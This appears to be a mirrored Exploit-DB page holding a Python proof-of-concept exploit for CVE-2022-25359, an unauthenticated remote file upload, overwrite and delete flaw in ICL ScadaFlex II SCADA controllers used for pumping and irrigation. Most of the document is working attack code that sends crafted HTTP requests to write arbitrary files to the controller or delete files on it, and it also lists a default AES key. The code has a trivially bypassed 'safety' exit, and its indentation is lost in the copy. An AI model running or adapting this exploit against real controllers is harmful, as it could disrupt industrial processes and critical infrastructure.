ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 – Remote File CRUD

  • 作者: LiquidWorm
    日期: 2022-02-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50783/
  • # Exploit Title: CL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
    # Exploit Author: LiquidWorm
    
    #!/usr/bin/env python3
    # -*- coding: utf-8 -*-
    #
    #
    # ICL ScadaFlex II SCADA Controllers SC-1/SC-2 1.03.07 Remote File CRUD
    #
    #
    # Vendor: Industrial Control Links, Inc.
    # Product web page: http://www.iclinks.com
    # Product datasheet: http://files.iclinks.com/datasheets/Scadaflex%20II/Scadaflex%20SC-1%20&%20SC-2_A1_compressed.pdf
    # Affected version: SW: 1.03.07 (build 317), WebLib: 1.24
    # SW: 1.02.20 (build 286), WebLib: 1.24
    # SW: 1.02.15 (build 286), WebLib: 1.22
    # SW: 1.02.01 (build 229), WebLib: 1.16
    # SW: 1.01.14 (build 172), WebLib: 1.14
    # SW: 1.01.01 (build 2149), WebLib: 1.13
    #
    #
    # Summary: Scadaflex II controllers are 100% web based
    # for both configuration and user interface. No applications
    # are required other than any standard web browser. They
    # are easily supported by remote access over the Internet
    # or a cellular link. Scadaflex II controllers support
    # industry standard wired communications using Modbus,
    # DF1, SNP, and Ethernet IP protocols along with Ethernet-Serial
    # bridging for Modbus or any other protocol. Each Scadaflex
    # II controller has both analog and digital, inputs and
    # outputs, sufficient for pumping stations, irrigation
    # controls, and other similar process monitoring and control
    # applications. They can also serve as communications
    # concentrators and protocol converters that enhance the
    # operation of existing PLCs and process equipment.
    #
    # Desc: The SCADA controller is vulnerable to unauthenticated
    # file write/overwrite and delete vulnerability. This allows
    # an attacker to execute critical file CRUD operations on the
    # device that can potentially allow system access and impact
    # availability.
    #
    # Tested on: SCADA HTTP Server
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2022-5698
    # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5698.php
    #
    # CVE ID: CVE-2022-25359
    # CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25359
    #
    #
    # 06.11.2021
    #
    
    import time,sys
    import requests
    import datetime
    import showtime
    
    # Default
    # AES Encryption Key = 'ABCD1234abcd:ICL'
    
    def bann():
    print('''
    ----------------------------------------------------------
    ) ) ) ) ) )
    ( ( (( ( (
    ) ) ) ) ) )
     (~~~~~~~~~) (~~~~~~~~~)
    | t00t| |w00t |
    | | | |
    I_._I _._
    I/' `\\I /' `\\
    I | M | I| J |
    f | |~~~~~~~~~~~~~~|f||~~~~~~~~~~~~~~|
    .'| ||~~~~~~~~||.' || |~~~~~~~~| |
    /'______|___||__###___|____|/'_______|____|_|__###___|___|
    
     ScadaFlex II SCADA Controllers
    Remote write/delete PoC
     ZSL-2022-5698
    ----------------------------------------------------------
    ''')
    
    def safe(*trigger, ):
    return True # |-| Safety Switch
    
    def choice(n):
    try:
    if n == 1:
    overwrite(controllerip = sys.argv[1], filepos = int(sys.argv[3], base = 10))
    elif n == 2:
    delete(controllerip = sys.argv[1], filepos = int(sys.argv[2], base = 10))
    else:
     print('Usage (Upload): ./sflex.py [IP] [Local file] [File position number]')
     print('Usage (Delete): ./sflex.py [IP] [File position number]')
     raise SystemExit('t00t')
    except Exception as tip:
    raise SystemExit(tip)
    
    def jump():
    choice(1) if len(sys.argv) == 4 else next
    choice(2) if len(sys.argv) == 3 else next
    
    def overwrite(controllerip, filepos):
    print('Starting script at', start)
    localfile = sys.argv[2]
    
    with open(localfile, 'rb') as opener:
    scadaurl= 'http://'
    scadaurl += controllerip
    scadaurl += '/d.php?N'
    scadaurl += str(filepos)
    scadaurl += ',73,'
    scadaurl += opener.name
    scadaurl += '~'
    scadaurl += str(int(time.time()))
    
    see = requests.post(scadaurl, files = {'upload' : opener})
    
    if '100' in see.text:
    print('File uploaded in {} directory at position {}.'.format('l', filepos))
    print('URL: http://' +controllerip+ '/l/' +localfile)
    else:
    print("- controller webserver error.")
    exit()
    
    def delete(controllerip, filepos):
    print('Starting script at', start)
    exit(42) if isinstance(filepos, str) else next
    
    scadaurl= 'http://'
    scadaurl += controllerip
    scadaurl += '/rW12IcL_Dat_N'
    scadaurl += str(filepos)
    scadaurl += ',0=1~'
    scadaurl += str(int(time.time()))
    
    see = requests.get(scadaurl)
    
    check= '\x72\x57'#|
    check += '\x31\x32'#|
    check += '\x49\x63'#|
    check += '\x4c\x5f'#|
    check += '\x44\x61'#|
    check += '\x74\x5f'#|
    check += '\x4e'# o'#|
    check += str(filepos)#|
    check += '\x2c\x30'#|
    check += '\x09\x52'#|
    
    if check in see.text:
    print('File at position {} deleted.'.format(filepos))
    else:
    	print('- controller webserver error.')
    exit()
    
    def main():
    if safe(True):
    print('Careful...\nSafety: ON')
    exit(17)
    else:
    print('Safety: OFF', end = '')
    global start
    start = datetime.datetime.now()
    start = start.strftime('%d.%m.%Y %H:%M:%S')
    bann(), jump(), choice(1959)
    
    if __name__ == "__main__":
    main()